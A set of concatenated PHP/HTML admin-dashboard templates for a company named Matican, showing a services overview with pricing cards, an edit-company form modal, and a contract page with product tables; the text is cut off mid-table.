'/assets/plugins/jvectormap/jquery-jvectormap-2.0.2.min.js',
'/assets/plugins/jvectormap/jquery-jvectormap-world-mill-en.js',
'/assets/plugins/jvectormap/gdp-data.js',
'/assets/plugins/jvectormap/jquery-jvectormap-us-aea-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-uk-mill-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-au-mill.js',
'/assets/plugins/jvectormap/jquery-jvectormap-ca-lcc.js',
'/assets/js/jvectormap.js',
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/js/main.js',
'/assets/js/index3.js',
'/assets/plugins/time-picker/jquery.timepicker.js',
'/assets/plugins/time-picker/toggles.min.js',
];
?>
<file_sep>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Services Overview</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-success"><i class="fas fa-plus"></i></a>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card bg-gradient-indigo box-shadow-0 border-primary">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-desktop fa-3x plan-icon text-white"></i>
<h4 class=" text-white text-uppercase mt-2">Web Development</h4><hr class=" my-4">
<h3 class="text-white mb-2">12</h3>
<h5 class="text-white" >services</h5>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card bg-gradient-teal box-shadow-0 border-success">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-th fa-3x plan-icon text-white"></i>
<h4 class=" text-white text-uppercase mt-2">Web Design</h4><hr class=" my-4">
<h3 class="text-white mb-2">9</h3>
<h5 class="text-white" >services</h5>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card bg-gradient-orange box-shadow-0 border-warning">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-palette fa-3x plan-icon text-white"></i>
<h4 class=" text-white text-uppercase mt-2">Quality Assurance</h4><hr class=" my-4">
<h3 class="text-white mb-2">10</h3>
<h5 class="text-white" >services</h5>
</div>
</div>
</div>
</div>
<div class="col-xl-3 col-md-12 col-lg-6">
<div class="card bg-gradient-blue box-shadow-0 border-info">
<div class="card-body">
<div class="plan-card text-center">
<i class="fab fa-black-tie fa-3x plan-icon text-white"></i>
<h4 class=" text-white text-uppercase mt-2">Enterprise Solution</h4><hr class=" my-4">
<h3 class="text-white mb-2">21</h3>
<h5 class="text-white" >services</h5>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-12 col-md-12">
<div class="pricing-table active rounded">
<div class="price-header bg-gradient-indigo">
<div class="arrow-ribbon bg-primary font-weight-extrabold mt-3">First Company Activity</div>
<div class="price text-white mt-5">Matican</div>
<h4 class="title text-white mb-5">Web Development</h4>
<span class="permonth font-weight-extrabold w-25">info <i class="fas fa-arrow-alt-circle-down text-info"></i></span>
</div>
<div class="price-body ">
<div class="row mx-3 ">
<div class="col-4">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-indigo">
<i class="zmdi zmdi-collection-item-1"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Web Design</h3>
<h1 class="pricing-card-title mt-5">B <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>600
</div>
<a><i class="fas fa-2x fa-info-circle text-purple"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-4">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-indigo">
<i class="zmdi zmdi-collection-item-2"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Web Shop</h3>
<h1 class="pricing-card-title mt-5">A <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>1200
</div>
<a><i class="fas fa-2x fa-info-circle text-purple"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-4">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-indigo">
<i class="zmdi zmdi-collection-item-3"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Web Application</h3>
<h1 class="pricing-card-title mt-5">C <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>350
</div>
<a><i class="fas fa-2x fa-info-circle text-purple"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-12 col-md-12">
<div class="pricing-table active rounded">
<div class="price-header bg-gradient-teal">
<div class="arrow-ribbon bg-primary font-weight-extrabold mt-3">Second Company Activity</div>
<div class="price text-white mt-5">Matican Group</div>
<h4 class="title text-white mb-5">Video</h4>
<span class="permonth font-weight-extrabold w-25">info <i class="fas fa-arrow-alt-circle-down text-info"></i></span>
</div>
<div class="price-body ">
<div class="row mx-3 ">
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-teal">
<i class="zmdi zmdi-collection-item-1"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Aerial video</h3>
<h1 class="pricing-card-title mt-5">B <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>600
</div>
<a><i class="fas fa-2x fa-info-circle text-teal"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-teal">
<i class="zmdi zmdi-collection-item-2"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Aerial video</h3>
<h1 class="pricing-card-title mt-5">A <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>1200
</div>
<a><i class="fas fa-2x fa-info-circle text-teal"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-teal">
<i class="zmdi zmdi-collection-item-3"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Aerial video</h3>
<h1 class="pricing-card-title mt-5">C <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>350
</div>
<a><i class="fas fa-2x fa-info-circle text-teal"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-teal">
<i class="zmdi zmdi-collection-item-4"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Aerial video</h3>
<h1 class="pricing-card-title mt-5">A <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>1000
</div>
<a><i class="fas fa-2x fa-info-circle text-teal"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-12 col-md-12">
<div class="pricing-table active rounded">
<div class="price-header bg-gradient-orange">
<div class="arrow-ribbon bg-primary font-weight-extrabold mt-3">Third Company Activity</div>
<div class="price text-white mt-5">Matican Group</div>
<h4 class="title text-white mb-5">Design & Editing</h4>
<span class="permonth font-weight-extrabold w-25">info <i class="fas fa-arrow-alt-circle-down text-info"></i></span>
</div>
<div class="price-body ">
<div class="row mx-3 ">
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-orange">
<i class="zmdi zmdi-collection-item-1"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Sharp design</h3>
<h1 class="pricing-card-title mt-5">B <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>600
</div>
<a><i class="fas fa-2x fa-info-circle text-orange"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-orange">
<i class="zmdi zmdi-collection-item-2"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Intelligent editing</h3>
<h1 class="pricing-card-title mt-5">A <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>1200
</div>
<a><i class="fas fa-2x fa-info-circle text-orange"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-orange">
<i class="zmdi zmdi-collection-item-3"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Efficient design</h3>
<h1 class="pricing-card-title mt-5">C <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>350
</div>
<a><i class="fas fa-2x fa-info-circle text-orange"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-orange">
<i class="zmdi zmdi-collection-item-4"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Cool design</h3>
<h1 class="pricing-card-title mt-5">A <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>1000
</div>
<a><i class="fas fa-2x fa-info-circle text-orange"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-12 col-md-12">
<div class="pricing-table active rounded">
<div class="price-header bg-gradient-blue">
<div class="arrow-ribbon bg-primary font-weight-extrabold mt-3">Fourth Company Activity</div>
<div class="price text-white mt-5">Matican Group</div>
<h4 class="title text-white mb-5">Professional Printing</h4>
<span class="permonth font-weight-extrabold w-25">info <i class="fas fa-arrow-alt-circle-down text-info"></i></span>
</div>
<div class="price-body ">
<div class="row mx-3 ">
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-blue">
<i class="zmdi zmdi-collection-item-1"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">3D print</h3>
<h1 class="pricing-card-title mt-5">B <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>600
</div>
<a><i class="fas fa-2x fa-info-circle text-blue"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-blue">
<i class="zmdi zmdi-collection-item-2"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">High print</h3>
<h1 class="pricing-card-title mt-5">A <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>1200
</div>
<a><i class="fas fa-2x fa-info-circle text-blue"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-blue">
<i class="zmdi zmdi-collection-item-3"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Medium print</h3>
<h1 class="pricing-card-title mt-5">C <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>350
</div>
<a><i class="fas fa-2x fa-info-circle text-blue"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
<div class="col-xl-3 col-lg-6 col-md-12">
<div class="box mt-8">
<div class="icon">
<div class="image bg-gradient-blue">
<i class="zmdi zmdi-collection-item-4"></i>
</div>
<div class="info card pb-6">
<h3 class="title mb-0">Colorful print</h3>
<h1 class="pricing-card-title mt-5">A <small class="fs-16">/ grade</small></h1>
<div class="price">
<span class="dollar">$</span>1000
</div>
<a><i class="fas fa-2x fa-info-circle text-blue"></i></a>
</div>
</div>
<div class="space"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Edit Company</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class="tab-menu-heading border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab11" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
<li><a href="#tab22" class="font-weight-bold" data-toggle="tab">Place & Location</a></li>
<li><a href="#tab33" class="font-weight-bold" data-toggle="tab">Detailing</a></li>
<li><a href="#tab44" class="font-weight-bold" data-toggle="tab">Other Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab11">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Company name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Responsible person :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Website address :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" >Org email :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="email" placeholder="..........<EMAIL>">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6" placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab22">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Address">Address :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-map-signs tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="Address" type="text">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Map :</label>
</div>
<div class="col-lg-9">
<div class="map-header">
<div class="map-header-layer" id="map2"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab33">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Type :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>Wedding hall</option>
<option>Hairdresser</option>
<option>wedding accessories</option>
<option>Car Decoration</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Capacity :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Professional Staff :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Decoration :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Cleaning & Maintenance :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Easy Catering Service :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Workflow Of Management :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Convenient Location & Parking :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab44">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Rate :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold" >Financial method :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>commission (percentage)</option>
<option>Fixed (constant amount)</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Executive manager :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Office direct tel :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/peitychart/jquery.peity.min.js',
'/assets/js/apexcharts.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/plugins/chart/utils.js',
'/assets/plugins/input-mask/jquery.mask.min.js',
'/assets/plugins/counters/counterup.min.js',
'/assets/plugins/counters/waypoints.min.js',
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/js/custom.js',
'http://maps.google.com/maps/api/js?key=<KEY>',
'/assets/plugins/maps-google/jquery.googlemap.js',
'/assets/plugins/maps-google/map.js',
'/assets/plugins/jvectormap/jquery-jvectormap-2.0.2.min.js',
'/assets/plugins/jvectormap/jquery-jvectormap-world-mill-en.js',
'/assets/plugins/jvectormap/gdp-data.js',
'/assets/plugins/jvectormap/jquery-jvectormap-us-aea-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-uk-mill-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-au-mill.js',
'/assets/plugins/jvectormap/jquery-jvectormap-ca-lcc.js',
'/assets/js/jvectormap.js',
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/js/main.js',
'/assets/js/index3.js',
];
?>
<file_sep><!-- WYSIWYG Editor css -->
<link href="../assets/plugins/wysiwyag/richtext.min.css" rel="stylesheet"/>
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Contract</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary "><i class="fas fa-pen"></i> Edit</a>
<a href="javascript:void(0)"
class="btn btn-dark "><i class="fas fa-check"></i> Sign</a>
</div>
<div class="float-right ml-1">
<a href="#" class="btn btn-primary bg-red"><i
class="fas fa-trash mr-1"></i>Delete</a>
<a href="#" class="btn btn-primary bg-info"><i
class="fas fa-print mr-1"></i>Preview & Print</a>
</div>
</div>
</div>
<div class="row">
<div class="col-6 ">
<div class="card">
<div class="card-header border-danger">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-edit text-danger fs-22"></i> Basic info
</h3>
</div>
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">From company :</label>
</div>
<div class="col-lg-9">
<select type="text" class="form-control">
<option value="#">Company</option>
<option value="#">Company</option>
<option value="#">Company</option>
<option value="#">Company</option>
<option value="#">Company</option>
</select>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">To company :</label>
</div>
<div class="col-lg-9">
<select type="text" class="form-control">
<option value="#">Company</option>
<option value="#">Company</option>
<option value="#">Company</option>
<option value="#">Company</option>
<option value="#">Company</option>
</select>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">From person :</label>
</div>
<div class="col-lg-9">
<select type="text" class="form-control">
<option value="#">Person</option>
<option value="#">Person</option>
<option value="#">Person</option>
<option value="#">Person</option>
</select>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">To person :</label>
</div>
<div class="col-lg-9">
<select type="text" class="form-control">
<option value="#">Person</option>
<option value="#">Person</option>
<option value="#">Person</option>
<option value="#">Person</option>
</select>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." spellcheck="false">
</textarea>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6 ">
<div class="card">
<div class="card-header border-info">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-check-circle fs-24 text-info"></i> Basic
info</h3>
</div>
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="price-body">
<ul class="text-center">
<li><b class="font-weight-bold">From company :</b> Arshia Digital</li>
<hr class="my-4">
<li><b class="font-weight-bold">To company :</b> Arad Mobile</li>
<hr class="my-4">
<li><b class="font-weight-bold">From person :</b> <NAME></li>
<hr class="my-4">
<li><b class="font-weight-bold">To person :</b> <NAME></li>
<hr class="my-4">
<li><b class="font-weight-bold">Descriptions :</b><br><br> Lorem ipsum dolor sit amet,
consectetur adipiscing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim
veniam, quis nostrud
exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.Duis aute irure
dolor in reprehenderit in voluptate
velit esse cillum dolore eu fugiat nulla pariatur.
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12 ">
<div class="card">
<div class="card-header border-danger">
<h3 class="card-title font-weight-extrabold"><i class="fas fa-edit text-danger fs-22"></i> Objects of
contract </h3>
<a href="#" class="btn btn-azure ml-auto">Make orders in shop</a>
</div>
<div class="card-body">
<div class="panel panel-primary">
<div class="table-responsive mb-5">
<table class="table card-table table-vcenter border text-nowrap nowrap">
<thead class="bg-primary font-weight-bold">
<tr>
<th class="text-center">products</th>
<th class="text-center">size</th>
<th class="text-center">Print type</th>
<th class="text-center">Price</th>
<th class="text-center w-15">Quantity</th>
<th class="text-center">Delivery date</th>
<th class="text-center">Status</th>
<th class="text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Product 1</td>
<td class="text-center">1300*800</td>
<td class="text-center">luster</td>
<td class="text-center">1,000,000 T</td>
<td class="text-center">
<div class="input-group input-indec">
<span class="input-group-btn">
<button type="button"
class="quantity-left-minus btn btn-light btn-number btn-sm"
data-type="minus" data-field="">
<i class="fas fa-minus"></i>
</button>
</span>
<input type="text" name="quantity"
class="form-control input-number text-center quantity" value="1">
<span class="input-group-btn">
<button type="button"
class="quantity-right-plus btn btn-light btn-number btn-sm"
data-type="plus" data-field="">
<i class="fas fa-plus"></i>
</button>
</span>
</div>
</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Registrated</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
class="fas fa-pen text-white"></i></button>
</td>
</tr>
<tr>
<td class="text-center">Product 2</td>
<td class="text-center">1300*800</td>
<td class="text-center">water glass</td>
<td class="text-center">4,000,000 T</td>
<td class="text-center">
<div class="input-group input-indec">
<span class="input-group-btn">
<button type="button"
class="quantity-left-minus btn btn-light btn-number btn-sm"
data-type="minus" data-field="">
<i class="fas fa-minus"></i>
</button>
</span>
<input type="text" name="quantity"
class="form-control input-number text-center quantity" value="1">
<span class="input-group-btn">
<button type="button"
class="quantity-right-plus btn btn-light btn-number btn-sm"
data-type="plus" data-field="">
<i class="fas fa-plus"></i>
</button>
</span>
</div>
</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Paid</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
class="fas fa-pen text-white"></i></button>
</td>
</tr>
<tr>
<td class="text-center">Product 3</td>
<td class="text-center">1300*800</td>
<td class="text-center">silk</td>
<td class="text-center">2,000,000 T</td>
<td class="text-center">
<div class="input-group input-indec">
<span class="input-group-btn">
<button type="button"
class="quantity-left-minus btn btn-light btn-number btn-sm"
data-type="minus" data-field="">
<i class="fas fa-minus"></i>
</button>
</span>
<input type="text" name="quantity"
class="form-control input-number text-center quantity" value="1">
<span class="input-group-btn">
<button type="button"
class="quantity-right-plus btn btn-light btn-number btn-sm"
data-type="plus" data-field="">
<i class="fas fa-plus"></i>
</button>
</span>
</div>
</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Choose photo</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
class="fas fa-pen text-white"></i></button>
</td>
</tr>
<tr>
<td class="text-center">Product 4</td>
<td class="text-center">1300*800</td>
<td class="text-center">metallic</td>
<td class="text-center">6,000,000 T</td>
<td class="text-center">
<div class="input-group input-indec">
<span class="input-group-btn">
<button type="button"
class="quantity-left-minus btn btn-light btn-number btn-sm"
data-type="minus" data-field="">
<i class="fas fa-minus"></i>
</button>
</span>
<input type="text" name="quantity"
class="form-control input-number text-center quantity" value="1">
<span class="input-group-btn">
<button type="button"
class="quantity-right-plus btn btn-light btn-number btn-sm"
data-type="plus" data-field="">
<i class="fas fa-plus"></i>
</button>
</span>
</div>
</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Send to editor</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
class="fas fa-pen text-white"></i></button>
</td>
</tr>
<tr>
<td class="text-center">Product 5</td>
<td class="text-center">1300*800</td>
<td class="text-center">water glass</td>
<td class="text-center">4,000,000 T</td>
<td class="text-center">
<div class="input-group input-indec">
<span class="input-group-btn">
<button type="button"
class="quantity-left-minus btn btn-light btn-number btn-sm"
data-type="minus" data-field="">
<i class="fas fa-minus"></i>
</button>
</span>
<input type="text" name="quantity"
class="form-control input-number text-center quantity" value="1">
<span class="input-group-btn">
<button type="button"
class="quantity-right-plus btn btn-light btn-number btn-sm"
data-type="plus" data-field="">
<i class="fas fa-plus"></i>
</button>
</span>
</div>
</td>
<td class="text-center">02 Sep 2020</td>
<td class="text-center">Ready for print</td>
<td class="text-center">
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
class="fas fa-pen text-white"></i></button>
</td>
</tr>
</tbody>
</table>
</div>
<div class="row mt-2">
<div class="col-md-12 col-lg-12">
<div class="table-responsive ">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white">
<tr class="text-center">
<td class="text-white border-bottom p-2">
<button href="#" class="btn btn-success btn-sm" data-toggle="modal"
data-target="#plus-modal"><i class="fas fa-plus"></i>
</button>
</td>
<th class="text-white">subservice Title</th>
<th class="text-white">Grade</th>
<th class="text-white">price</th>
<th class="text-white">Actions</th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>1</td>
<td>Heli shot NI370</td>
<td>A</td>
<td>800,000 T</td>
<td>
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
class="fas fa-pen text-white"></i></button>
</td>
</tr>
<tr class="text-center">
<td>2</td>
<td>Camera Nikon D3400</td>
<td>C</td>
<td>1,000,000 T</td>
<td>
<button type="button" class="btn btn-icon btn-primary btn-danger"><i
class="fas fa-trash-alt text-white"></i></button>
<button type="button" class="btn btn-icon btn-primary "><i
